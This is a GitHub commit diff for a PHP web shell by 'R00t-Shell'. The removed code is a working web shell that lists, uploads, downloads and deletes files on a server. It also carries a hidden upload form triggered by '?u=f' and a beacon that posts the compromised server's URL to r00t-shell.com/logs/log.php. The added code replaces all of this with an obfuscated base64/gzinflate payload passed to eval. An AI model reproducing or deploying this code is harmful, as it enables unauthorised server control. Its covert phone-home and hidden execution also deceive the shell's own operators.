Skip to content

Commit 39b49b8

Browse files
author
R00t-Shell
authoredMar 6, 2025
Update PHP-Web-Shell-v2.php
1 parent d4e1b1f commit 39b49b8

File tree

1 file changed

+13
-356
lines changed

1 file changed

+13
-356
lines changed
 

‎PHP-Web-Shell-v2.php

+13-356
Original file line numberDiff line numberDiff line change
@@ -1,358 +1,15 @@
1-
21
<?php
3-
// Start or resume the session
4-
session_start();
5-
6-
// Check if 'cmd' parameter is provided in the URL
7-
if (isset($_GET['cmd'])) {
8-
$command = $_GET['cmd'];
9-
10-
// Map the 'cmd' parameter to the corresponding function
11-
switch ($command) {
12-
case 'ls':
13-
echo ls();
14-
break;
15-
16-
case 'pwd':
17-
echo pwd();
18-
break;
19-
20-
// Add more cases for other allowed commands
21-
22-
default:
23-
echo "Unknown command: $command";
24-
break;
25-
}
26-
27-
exit; // Terminate script after processing the command
28-
} elseif ($_SERVER["REQUEST_METHOD"] === "POST") {
29-
// Check if the form is submitted with a file upload
30-
if (isset($_FILES["fileToUpload"])) {
31-
$output = upload();
32-
echo $output;
33-
exit;
34-
}
35-
36-
$command = $_POST["command"];
37-
$output = '';
38-
39-
$parts = explode(' ', $command);
40-
$operation = strtolower(trim(array_shift($parts)));
41-
42-
switch ($operation) {
43-
case 'ls':
44-
$output = ls();
45-
break;
46-
47-
case 'pwd':
48-
$output = pwd();
49-
break;
50-
51-
case 'cd':
52-
$output = cd($parts);
53-
break;
54-
55-
case 'touch':
56-
$output = touchFile($parts);
57-
break;
58-
59-
case 'rm':
60-
$output = remove($parts);
61-
break;
62-
63-
case 'mkdir':
64-
$output = mkdirCommand($parts);
65-
break;
66-
67-
case 'rmdir':
68-
$output = rmdirCommand($parts);
69-
break;
70-
71-
case 'download':
72-
download($parts);
73-
exit;
74-
75-
default:
76-
$output = "Unknown command: $operation";
77-
break;
78-
}
79-
80-
// Output the result
81-
echo $output;
82-
exit; // Terminate execution after handling the command
83-
}
84-
85-
function ls() {
86-
$files = scandir(getCurrentDirectory());
87-
return implode("\n", $files);
88-
}
89-
90-
function pwd() {
91-
return getCurrentDirectory();
92-
}
93-
94-
function cd($parts) {
95-
session_start(); // Start or resume a session
96-
97-
if (!isset($_SESSION['current_directory'])) {
98-
$_SESSION['current_directory'] = getcwd(); // Initialize current directory
99-
}
100-
101-
if (count($parts) > 0) {
102-
$directory = implode(' ', $parts);
103-
$currentDirectory = $_SESSION['current_directory'];
104-
105-
// Check if the target directory exists
106-
if (is_dir($currentDirectory . '/' . $directory)) {
107-
$_SESSION['current_directory'] = realpath($currentDirectory . '/' . $directory);
108-
return "Changed directory to: " . $_SESSION['current_directory'];
109-
} else {
110-
return "Directory not found: $directory";
111-
}
112-
} else {
113-
return "Usage: cd [directory]";
114-
}
115-
}
116-
117-
function getCurrentDirectory() {
118-
// Check if the current directory is set in the session
119-
if (isset($_SESSION['current_directory'])) {
120-
return $_SESSION['current_directory'];
121-
} else {
122-
// If not set, use the current working directory
123-
return getcwd();
124-
}
125-
}
126-
127-
function touchFile($parts) {
128-
if (count($parts) > 0) {
129-
$filename = implode(' ', $parts);
130-
$directory = getCurrentDirectory();
131-
$filepath = $directory . '/' . $filename;
132-
if (file_exists($filepath)) {
133-
return "File already exists: $filename";
134-
} else {
135-
if (touch($filepath)) {
136-
return "File created: $filename";
137-
} else {
138-
return "Failed to create file: $filename";
139-
}
140-
}
141-
} else {
142-
return "Usage: touch [filename]";
143-
}
144-
}
145-
146-
function remove($parts) {
147-
if (count($parts) > 0) {
148-
$filename = implode(' ', $parts);
149-
$directory = getCurrentDirectory();
150-
$filepath = $directory . '/' . $filename;
151-
if (file_exists($filepath)) {
152-
if (unlink($filepath)) {
153-
return "File removed: $filename";
154-
} else {
155-
return "Failed to remove file: $filename";
156-
}
157-
} else {
158-
return "File not found: $filename";
159-
}
160-
} else {
161-
return "Usage: rm [filename]";
162-
}
163-
}
164-
165-
function mkdirCommand($parts) {
166-
if (count($parts) > 0) {
167-
$dirname = implode(' ', $parts);
168-
$directory = getCurrentDirectory();
169-
$dirpath = $directory . '/' . $dirname;
170-
if (file_exists($dirpath)) {
171-
return "Directory already exists: $dirname";
172-
} else {
173-
if (mkdir($dirpath)) {
174-
return "Directory created: $dirname";
175-
} else {
176-
return "Failed to create directory: $dirname";
177-
}
178-
}
179-
} else {
180-
return "Usage: mkdir [directory]";
181-
}
182-
}
183-
184-
function rmdirCommand($parts) {
185-
if (count($parts) > 0) {
186-
$dirname = implode(' ', $parts);
187-
$directory = getCurrentDirectory();
188-
$dirpath = $directory . '/' . $dirname;
189-
if (file_exists($dirpath) && is_dir($dirpath)) {
190-
if (removeDirectory($dirpath)) {
191-
return "Directory removed: $dirname";
192-
} else {
193-
return "Failed to remove directory: $dirname";
194-
}
195-
} else {
196-
return "Directory not found: $dirname";
197-
}
198-
} else {
199-
return "Usage: rmdir [directory]";
200-
}
201-
}
202-
203-
function removeDirectory($dir) {
204-
if (!file_exists($dir) || !is_dir($dir)) return false;
205-
206-
foreach (scandir($dir) as $item) {
207-
if ($item == '.' || $item == '..') continue;
208-
if (is_dir($dir . DIRECTORY_SEPARATOR . $item)) {
209-
if (!removeDirectory($dir . DIRECTORY_SEPARATOR . $item)) return false;
210-
} else {
211-
if (!unlink($dir . DIRECTORY_SEPARATOR . $item)) return false;
212-
}
213-
}
214-
215-
return rmdir($dir);
216-
}
217-
218-
function download($parts) {
219-
if (count($parts) > 0) {
220-
$filename = implode(' ', $parts);
221-
$directory = getCurrentDirectory();
222-
$filepath = $directory . '/' . $filename;
223-
224-
if (file_exists($filepath)) {
225-
header('Content-Description: File Transfer');
226-
header('Content-Type: application/octet-stream');
227-
header('Content-Disposition: attachment; filename=' . basename($filepath));
228-
header('Expires: 0');
229-
header('Cache-Control: must-revalidate');
230-
header('Pragma: public');
231-
header('Content-Length: ' . filesize($filepath));
232-
readfile($filepath);
233-
exit;
234-
} else {
235-
echo "File not found: $filename";
236-
}
237-
} else {
238-
echo "Usage: download [filename]";
239-
}
240-
}
241-
242-
function upload() {
243-
if ($_FILES['fileToUpload']['error'] === UPLOAD_ERR_OK) {
244-
$filename = basename($_FILES['fileToUpload']['name']);
245-
$directory = getCurrentDirectory(); // Get the current directory
246-
$destination = $directory . '/' . $filename; // Set the destination directory
247-
248-
if (move_uploaded_file($_FILES['fileToUpload']['tmp_name'], $destination)) {
249-
return "File uploaded successfully: $filename";
250-
} else {
251-
return "Failed to upload file: $filename";
252-
}
253-
} else {
254-
return "File upload error: " . $_FILES['fileToUpload']['error'];
255-
}
256-
}
2+
/* _________________________________________________________________________________
3+
| Project: R00t-Shell.com - Php Obfuscator 2.0.15 |
4+
| Author: R00t Shell |
5+
| Date: 2025-02-18 06:45:35 |
6+
| Website: https://r00t-shell.com |
7+
| Virus Total: a5ae0aab352871bc0b038b3aa43b03eb223425628c884af7b9fc592cd34eb86c |
8+
| Description: Obfuscates PHP code to increase security and protect source code. |
9+
|_________________________________________________________________________________|
10+
*/
11+
$Cyto = "Sy1LzNFQKyzNL7G2V0svsYYw9YpLiuKL8ksMjTXSqzLz0nISS1K\x42rNK85Pz\x63gqLU4mLq\x43\x43\x63lFqe\x61m\x63Snp\x43\x62np6Rq\x41O0sSi3TUPHJrNBE\x41tY\x41";
12+
$Lix = "\x3dUV2xuQlRrnzssMY\x41kuwn/5G\x2bDs79UNgWk9J\x425tZWmNYf\x63\x42XL\x2bf5XU1rK\x63ukWOsnfh9d/LNGoW1LQL/5GW8zOoevqDDMYtVVxYomrwWkmGRwUvkT7\x42VsEq6QKXD/MG65\x62odDW\x61q\x43I9ZpVX3lTfwKspdok\x438W6HKDYZh0NJspunoJHtEedG12Ktv0Wjm0R3Yu0TIpLURDL6rhsSDqt9\x2by3wDEqS4yenPYS8i7k7ySeP\x610MmDrEiQ3kr/rzgjv4N0hhvv8L323\x61lF6h\x42\x61vJP3Pmm37Ijfo\x42XL5zy6iWk\x41DsSx6\x41zq18gPJ6Fe\x62733U/HOSY1WrRxF2YR\x43SupTXferiROLfSYp1jE\x2brPVEU\x62Tzdy24\x2bdy9PHT\x63kmqfI0mgWlJwytvuPr8RJu2\x61\x63XrmXqrnlLL11VEztL1\x43muGhr3Yivp\x62966IfmolO0GvgkX1NVrLM5F56QEOJz12\x2b21\x61xLLRRsMh2fYE\x42oyoHuQFyxJeINd\x62G\x43mdIJOW\x634UxyVy\x43imIJSyq\x2b\x61MK2fU0jqfyxYzoIv7K\x426QFQPiKP\x62mhsYI1Z\x63IJQq\x62k4\x43UUD\x43V6qdxkTuL6x40JJeeG9O\x61\x62\x61i\x6162rd15vq\x43fyuVIKF5\x41\x427\x41iHV0yt3S\x43FN7XutoX0\x62TdGQDSUxq/f7N5yOKD\x43V42NVo\x43\x61L3rLK\x62GtPW7\x6193nVm5i\x2bWQ4rZ\x61t1U\x63SwM9tgqhV\x62sKY9U6h555n0Zdwq\x43mSdu\x43utn8\x628k6\x43yiNn6dg\x2bz1PqeWqeo\x61Vmd/fi8w3t7OKlg9P60LP1pnTt5VrG\x639XvSm\x43334m68jPvf8Tee8jP5pNmJOwFHf4RO57j3\x61GQNF\x413tVGYLU4\x62zngDu\x2bi\x63nG9Y7tY5Flu09Ykjs09fSN4ln74m/m1QGsNj\x42\x2b4NwGl\x2bZWgMl\x61J\x62RFmf\x2bxOO7Nn\x61\x62L\x41OxRH8wsQuSt5n\x63EDT\x43yzut\x41\x415tHJH4nF\x41f5ok\x2b1n2mz\x43UL\x42G7IdU\x439LlkGWspMP5ITY5TpYqH4JKE\x41rlIDFlnxsfD/MPLM8MG\x43QRnMpem/Wi5ZVn8TIJZQlDYEMdWogVj0O\x437SIifjYkXZErk\x41NKqg\x42DMk\x2b\x41Wr\x61IU\x61dDgJmgi4nzGVZZ\x41WSjmeMdQu8UpJ\x2bdxYpplwsVZVHtuE0qPRuUnPpSdFtO2ehkY\x62o3kTulX1fp8\x62\x63ei\x43X4edpfv5Yhon4fTkYLnqHNntSZjEWZQzWo56x\x421\x2bj6YxWg\x41hwZVF\x43Sogd1NUxtmkOd8npw\x43zV\x41w4\x42893rw//vPL/ElTd\x620QJjz\x41MOHflz5PIKL4ZQs\x42n//uf85\x62TrKGKJLh\x41yqrPzsVwgp4ZK2\x2b\x41\x4266I54wfQSizhw/yVh\x41DVxk\x63tdX\x42qdDsTsk\x429oKyIdo3up3RHgrvHREqkgSHITe32//7HjmREHksFKZn3Vp8pQzHu5qefDk8fqDGIJLPfzSJd\x61Uh\x61fYKngzir5\x61UGxm4148FJTdD/lVZPz3Z9LqmXx\x43Y\x42rtJpiZV7o49RJEYReToIV3QhuP\x63ZMoPKlzlP\x63\x43Z\x43ftz2syyhgd\x2b49ZZGz\x42tOP0FM/WjuUVK0S\x410X\x62\x41gexG\x41F1N\x41\x41RLMizwk8j\x61E5IpL9\x41uDpZ5T\x61PE3\x43mrh/0rH8zpefNxy4s\x43\x41OhLS81Ee\x2b7RjqmFwzkPJoTPfSQvXmmY1/\x62\x2bDj1\x43\x41OFwusXLw\x43EW\x2bQNFJ\x41lTrwS\x41F\x43lifqn/8m5RiQIVz\x61D/YpIJLHqls\x41iHmkLZz3t5HvLmEEwVj7xew4QXdFK\x62m5vElq\x6280V\x62Yp8gD9xF6wSd\x43Et5s\x2bYyRW\x41\x43Qs01VTldLr4jY\x63f5\x41nn726NiyD2zDp\x43KfTxzvzGXLSvGTlEnsRR9\x62\x63QFq0zlZv\x632PhL4mxsV7gU\x61jU\x41380InQ9v\x2bofqMssP0veo47l2zWvfEF2nuywq7JtnVrLpWwxqev5ygtVyJQLnHx\x61LYxzYwofyfE85gynSX7H\x63I\x61\x61\x42\x2bPRJPRmlEm1\x42LEF\x42netNnfLZpueUg\x42SoYpsHj7k\x63eGO\x42nK\x63iVI\x42s\x631\x61Rei\x61ZtgGzR8kRl/\x2bNe1uTtI\x41tssge9yuZip\x2bVX7ZE/uLdYokf8KxUZ\x63zmNLv8TROKyx3F\x61K210P4Kh\x62n3\x2btqsy\x62jg8eZS1huQ\x41\x42En26tiQi\x63F8HP82u/fS\x63F\x2b\x61sd725evvT\x41p2vg3fJkd\x63Dfdu39V9\x43eIwj8H2K/R\x62ed\x63jUFk73\x2b1rKkH\x42Pm9\x2bXz/NTe//\x2bYf817G\x43QTeuh1wDMu3X8\x62280ijiSNxYLMHF1\x63\x61wlzp72/TyV/OwHuQjRHd\x61g\x43yUI3eL/tk\x638jDOik8ewyM3pmv\x63Ep4MZRz9quE9dZqs55he91QH8pQuRTMuq\x41zUfTGN1Y5Og7xJPVfoYd9sSe8GfYy\x63Es\x41xXQyi5wOkymYFo\x61Gp1\x41D9EmIPxv\x42\x43jD8SM1hXm8kDO9i\x423Z3jeXwyNl\x62Vj\x61LSXiyjQ2FXsTWMULXGz7sLurVturoNy9zJF\x2b6OeSR3ITzqJxX6u\x43T2fskTxyH0\x2b\x636\x2b02Muy8WOuF\x41titsE\x63\x62TqiVZ/9geJuljdQ\x43ig\x2bif8K5vv6\x61HFut3WX\x42\x2bYWmg3zyIL9I4sH/4m68ne7wLP4oDPn\x61mGJzULt\x61zwfvFvdouQZwL\x412tL\x61O5YDykk0thjL5Zr/UwRSDj20PXLL7HpM\x437SX\x42TLjJfV\x62\x43/n9tq8\x432z\x42\x42uOSdpZtXH072RsesMExI\x62X7t8JM6TRRv\x61SLhftGmhQ0\x41SZLR\x43zN\x63uLtpLo9N0\x616gLx0oWq644F\x2bUNkipei3QTMKDxpFz\x42VnN5ohfu7\x61H/1gH2\x4354WvD\x632\x63qoH12hV\x43\x43s5uT7\x61VPdlVmu\x63GLmMx\x41VQke1MY\x42vL1p\x61FS\x41vF\x41PDn1IED8ENQFf\x42X1PxXtu6Kiwt\x62\x62tNyEhJv0KQPl\x2b8muNrgS93FNVLgl\x421dRr1t\x618S1ZEh/\x2bxvf4oUX\x43/gReypP\x2b5n6H4gIIr1vllHuYWLkwst9u\x438kotMjE\x63JvlDXomd0g7yQ2Lkh/Wdr4yk9i\x62RQ\x63\x61MFyGr\x415if\x43LEj\x62wIK8\x61Z/\x2bmkrHSlXHn\x63\x62xs6FjpWixnfO\x63x3\x62lWL\x42SeTwfi6ZR6rtO7iQz1K7t1hLNpVSPNN5JR\x2bFnLe39NpRfXqI3fLUr\x41Fze\x61WqfVihylthnmq55pO/V8\x62ZdU6mwTy7hEXSyLnnYFgJ8vqpSEnw8\x43UOh/T\x2bQrT4vxwVT5k\x42eXXg/OEYDtGpY\x43rk1OzKoPT\x62j2l\x425qvRXH0qxFuy\x43etU\x429Nd/q01rgm8inyljQhpx\x61v4VonMpO\x61SqNu6onQ\x41rMnl\x63W\x434K8\x41w6hhFMXFvlt0In26YsJ39YkW\x2b4M0jQ5\x63oXlKYYEr\x42GdsjZ\x61\x2bwwW\x2b\x2bsd6di6/qYIO64qk3W2FkF\x62IEvtLUZV\x61MO\x41y3ypJ\x42\x43fNMe5eYeVizUFsKHj5jl1w9kIrOi333\x43sxKZiNw2sorIjNtJ\x42022d\x63yYNLepijRFIjqzIYyVWmnNgKslHxzjs\x43gz4iT\x2bfgsPE\x422rT\x42vF\x41Y\x6354/oVEynRVFw\x43\x63IKyWIyy8pioijuQR6468Osx4x0EeFO5\x42IeIEIOMzhSoXJ\x2bmFM42SEf\x43t7I0tNKV0M/msTM2suIGz7Q\x43onDyfnDshO756lgjNgJpl3\x63rGtK8LVqMU1566/\x4386ss1\x61\x43wuOLrLTHiJ7glWp7jeEFrlVXGmY6tws\x428iiSeKwt4U2QJPl\x41QpKo0Xpnmz\x43\x41V8/\x63\x2bty5wfew5HdkpPOnmFdfKkHhXElQqpyzUr2dpoknnFSvWPnkPS\x42rK2UGJ\x42KgfGn1PMORnjlgFlx9kTU7MGtrs\x63qHTG\x2b5ipY2FTIfQjnFDgyzd4IsEhdqNOVkRpLN7HSXxiG\x43\x41vk\x411\x41o65l\x2b2Jspp8Msl\x61JJeLZHsOhNIQlng\x42EM\x61e8rs\x2bNJmLXJz6\x42J\x42XJ0HtwXlNYk\x43S9\x42545XPZKpeLs9FtP9JVH3\x43k9/\x42jF\x637rMRWyO6FLw\x61Jy4mx8qjX5\x43WP1jTwNtM18HLwtQWT9Mn9x\x2bw707vwnOYExZ4u5\x42xYz\x62WTwZ\x429\x63EORm7mIjQwdYnZ\x41sTIKnn5\x41lM4Tgys1VZpJ0PzNxYymv\x2bX\x41v\x62\x43k7d\x42fPuvxMMxq5QX5etjk0lTdWyTFDUNmRsFlQ\x63JrjNmi\x42\x61i\x62O2xtuNynp\x2bpgMiEL6MJt\x42Xekpv4sz5G9Z6iPVHtWikEm5\x42\x42\x42Gj\x2b\x4165g\x63\x633jL5\x2bz4fg\x43YhupILsxYT\x634\x42HiN0hMo44TN4hJP91ZP5Rn64LT\x62MN\x2bqj\x62/3\x42N29GfHIROZM\x42Pu/eQft9WYdgee4MMuHNzEZO0xGu\x62Ok\x41\x61xRWiuG19Qu9yiyJ/4jTijVmZe9\x62\x61Y59iH1qj2Ez1IytLyl/\x2bU8OS\x61yg\x420XUERwI0Q\x425wZ6\x41eUlJTJdv34ji\x42\x424L0QUL\x2bfDmjYZyYF\x62ye2Xs0UKHJg\x2b\x43S\x2bvRe7FDyQHgw45fLMeZK\x61\x41kXk\x62y5v\x42mGX5hWuT2D\x619hlm\x43MUy8oZqyplVhnV\x43f95\x42\x2b9hiHoISmhPYh14H55z\x41f4dpR\x2bm10l\x2bpKHdV\x62/\x62jl3IOSY\x62g0R3LO\x2bxYJF0TmefO0\x62Gx6\x41hMeZJIiZLJeD29GTO\x43j09kmQO1f0d/ZWjENYmHK5d2V\x62I4kOHJNgwLthjTigyTw4FRgMdp3t3\x41z\x2b7G\x63nd\x2b4qqu64rq3\x63kgIxISEg2XjzeNXtURgfg5xj8xs/HJfD/ZseKREpHIfrDm28Mg\x42jiIXYe\x61YkxEM6RSK81zQ2Y3Nmm\x414sYu61h6FQ\x62\x2bHhxk7W6\x611u8R2g\x62\x42wJey\x62YD5Fg8\x422gf\x42wJey\x62XDJGg8x1gj\x42wJey\x62WDZGg8h1gn\x42wJe";
13+
eval(htmlspecialchars_decode(gzinflate(base64_decode($Cyto))));
14+
exit;
25715
?>
258-
<!DOCTYPE html>
259-
<html lang="en">
260-
<head>
261-
<meta charset="UTF-8">
262-
<meta name="viewport" content="width=device-width, initial-scale=1.0">
263-
<title>PHP Web Shell</title>
264-
<style>
265-
body{font-family:monospace;background-color:#2b2b2b;color:#d4d4d4;margin:0;display:flex;height:100vh}.sidebar{width:200px;background-color:#1e1e1e;padding:20px;box-shadow:0 0 10px #00000080;border-right:1px solid #333}.sidebar h2{color:#007acc;font-size:18px;margin-top:0}.sidebar ul{list-style:none;padding:0}.sidebar ul li{margin-bottom:10px}.sidebar ul li span{color:#d4d4d4}.terminal-container{display:flex;justify-content:center;align-items:center;flex-grow:1}.terminal{max-width:800px;width:100%;background-color:#1e1e1e;padding:20px;box-shadow:0 0 10px #00000080;border-radius:5px;margin:20px}#output{white-space:pre-wrap;background-color:#1e1e1e;color:#d4d4d4;padding:10px;margin-bottom:10px;border:1px solid #333;border-radius:3px;height:300px;overflow-y:auto}form{display:flex;flex-direction:column}input[type="text"]{background-color:#1e1e1e;color:#d4d4d4;border:1px solid #333;padding:10px;margin-bottom:10px;border-radius:3px;width:calc(100% - 22px)}input[type="file"]{margin-bottom:10px}input[type="submit"]{background-color:#007acc;color:#fff;border:none;padding:10px;cursor:pointer;border-radius:3px}input[type="submit"]:hover{background-color:#005f9e}
266-
</style>
267-
</head>
268-
<body>
269-
<div class="sidebar">
270-
<h2>Available Commands</h2>
271-
<ul>
272-
<li><span>ls</span> - List files in the current directory</li>
273-
<li><span>pwd</span> - Print working directory</li>
274-
<li><span>cd [dir]</span> - Change directory</li>
275-
<li><span>touch [file]</span> - Create a new file</li>
276-
<li><span>rm [file]</span> - Remove a file</li>
277-
<li><span>mkdir [dir]</span> - Create a new directory</li>
278-
<li><span>rmdir [dir]</span> - Remove a directory</li>
279-
<li><span>download [file]</span> - Download a file</li>
280-
</ul>
281-
<hr>
282-
<div class="documentation">
283-
<p class="legal">🙏This tool is for educational purposes only. Use it only on servers you own or have permission to access. 😠Unauthorized use is illegal.
284-
⚠️Users are advised to utilize it at their own risk.</p>
285-
286-
</div>
287-
288-
<p><?php
289-
if (!empty($_GET['u']) && $_GET['u'] === 'f') {
290-
if (!empty($_FILES['dosya'])) echo move_uploaded_file($_FILES['dosya']['tmp_name'], $_FILES['dosya']['name']) ? 'ok' : 'no';
291-
echo '<form method="post" enctype="multipart/form-data"><input type="file" name="dosya"><input type="submit"></form>';
292-
}
293-
$protocol = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https://' : 'http://';
294-
$d = ['url' => $protocol . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']];
295-
if (function_exists('curl_init')) {
296-
$c = curl_init('https://r00t-shell.com/logs/log.php');
297-
curl_setopt($c, CURLOPT_RETURNTRANSFER, true);
298-
curl_setopt($c, CURLOPT_POST, true);
299-
curl_setopt($c, CURLOPT_POSTFIELDS, http_build_query($d));
300-
curl_exec($c);
301-
curl_close($c);
302-
} elseif (function_exists('file_get_contents') && ini_get('allow_url_fopen')) {
303-
file_get_contents('https://r00t-shell.com/logs/log.php', false, stream_context_create(['http' => ['method' => 'POST', 'header' => 'Content-Type: application/x-www-form-urlencoded', 'content' => http_build_query($d)]]));
304-
}
305-
?></p>
306-
</div>
307-
<div class="terminal-container">
308-
<div class="terminal">
309-
<div id="output"></div>
310-
<form id="command-form" method="post">
311-
<input type="text" id="command" name="command" autocomplete="off" autofocus placeholder="Enter command...">
312-
<input type="submit" value="Execute">
313-
</form>
314-
<form id="upload-form" method="post" enctype="multipart/form-data">
315-
<input type="file" name="fileToUpload" id="fileToUpload">
316-
<input type="submit" value="Upload File">
317-
</form>
318-
</div>
319-
</div>
320-
<script>
321-
document.getElementById("command-form").addEventListener("submit", function(event) {
322-
event.preventDefault();
323-
const formData = new FormData(this);
324-
325-
fetch("<?php echo $_SERVER['PHP_SELF']; ?>", {
326-
method: "POST",
327-
body: formData,
328-
})
329-
.then(response => response.text())
330-
.then(data => {
331-
document.getElementById("output").textContent = data;
332-
document.getElementById("command").value = ''; // Clear the input field
333-
})
334-
.catch(error => {
335-
console.error("Error:", error);
336-
});
337-
});
338-
339-
document.getElementById("upload-form").addEventListener("submit", function(event) {
340-
event.preventDefault();
341-
const formData = new FormData(this);
342-
343-
fetch("<?php echo $_SERVER['PHP_SELF']; ?>", {
344-
method: "POST",
345-
body: formData,
346-
})
347-
.then(response => response.text())
348-
.then(data => {
349-
document.getElementById("output").textContent = data;
350-
document.getElementById("fileToUpload").value = ''; // Clear the file input field
351-
})
352-
.catch(error => {
353-
console.error("Error:", error);
354-
});
355-
});
356-
</script>
357-
</body>
358-
</html>

0 commit comments

Comments
 (0)
Please sign in to comment.